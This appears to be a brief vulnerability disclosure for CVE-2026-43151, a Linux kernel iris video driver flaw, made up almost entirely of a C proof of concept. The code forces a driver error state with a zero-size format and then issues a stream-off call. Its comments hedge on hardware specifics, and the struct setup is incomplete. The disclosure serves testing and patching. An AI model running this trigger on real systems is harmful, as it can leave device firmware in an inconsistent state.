CVE-2026-43151: Linux内核iris驱动停止流媒体逻辑漏洞

/* * PoC for CVE-2026-43151 * This code attempts to trigger the iris driver vulnerability * by forcing an error state and then attempting cleanup. */ #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <linux/videodev2.h> int main() { int fd = open("/dev/video0", O_RDWR); if (fd < 0) return -1; struct v4l2_format fmt; fmt.type = V4L2_BUF_TYPE_VIDEO_OUTPUT_MPLANE; // Configure an unsupported parameter to trigger IRIS_INST_ERROR // (Specifics depend on hardware capabilities) fmt.fmt.pix_mp.width = 0; fmt.fmt.pix_mp.height = 0; // This call is expected to fail, transitioning instance to error state ioctl(fd, VIDIOC_S_FMT, &fmt); // Attempt standard streaming cleanup // In vulnerable versions, stop_streaming is skipped internally // due to the IRIS_INST_ERROR check, leaving firmware inconsistent. int type = V4L2_BUF_TYPE_VIDEO_OUTPUT_MPLANE; ioctl(fd, VIDIOC_STREAMOFF, &type); close(fd); return 0; }